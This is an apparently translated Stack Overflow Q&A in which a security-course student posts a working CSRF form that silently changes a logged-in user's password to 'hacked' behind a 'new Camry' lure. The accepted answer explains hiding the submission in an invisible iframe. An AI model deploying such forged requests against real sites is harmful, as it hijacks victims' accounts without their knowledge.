首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >如何构造跨站请求伪造攻击?

如何构造跨站请求伪造攻击?
EN

Stack Overflow用户
提问于 2011-05-09 07:24:51
回答 1查看 227关注 0票数 4

我正在上一门网络安全课,我们的任务之一是在开源项目中寻找安全漏洞。

我正在工作的这个项目似乎容易受到CSRF的影响。我构造了以下攻击,诱使用户单击包含以下内容的链接:

代码语言:javascript
复制
<form onsubmit="top." action="http://localhost/aphpkb/change_password.php" method="post">
<input type="hidden" value="hacked" name="password1" size="20" maxlength="20" />
<input type="hidden" value="hacked" name="password2" size="20" maxlength="20" />
<input type="submit" name="submit" value="Click here for a new Camry!!" />
</form> 

当用户当前登录到站点时,此攻击会起作用并更改站点的密码。但是,页面的结果将呈现给最终用户。我尝试了各种方法“安静地”发布表单(基于PHP的方法和基于JS的方法),但都无济于事。

有没有人可以给我一些指导,或者给我指出正确的方向,让我知道是否可以默默地发布到另一个网站上?

EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2011-05-09 07:35:21

将窗体的target设置为隐藏的<iframe>

票数 4
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/5931079

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档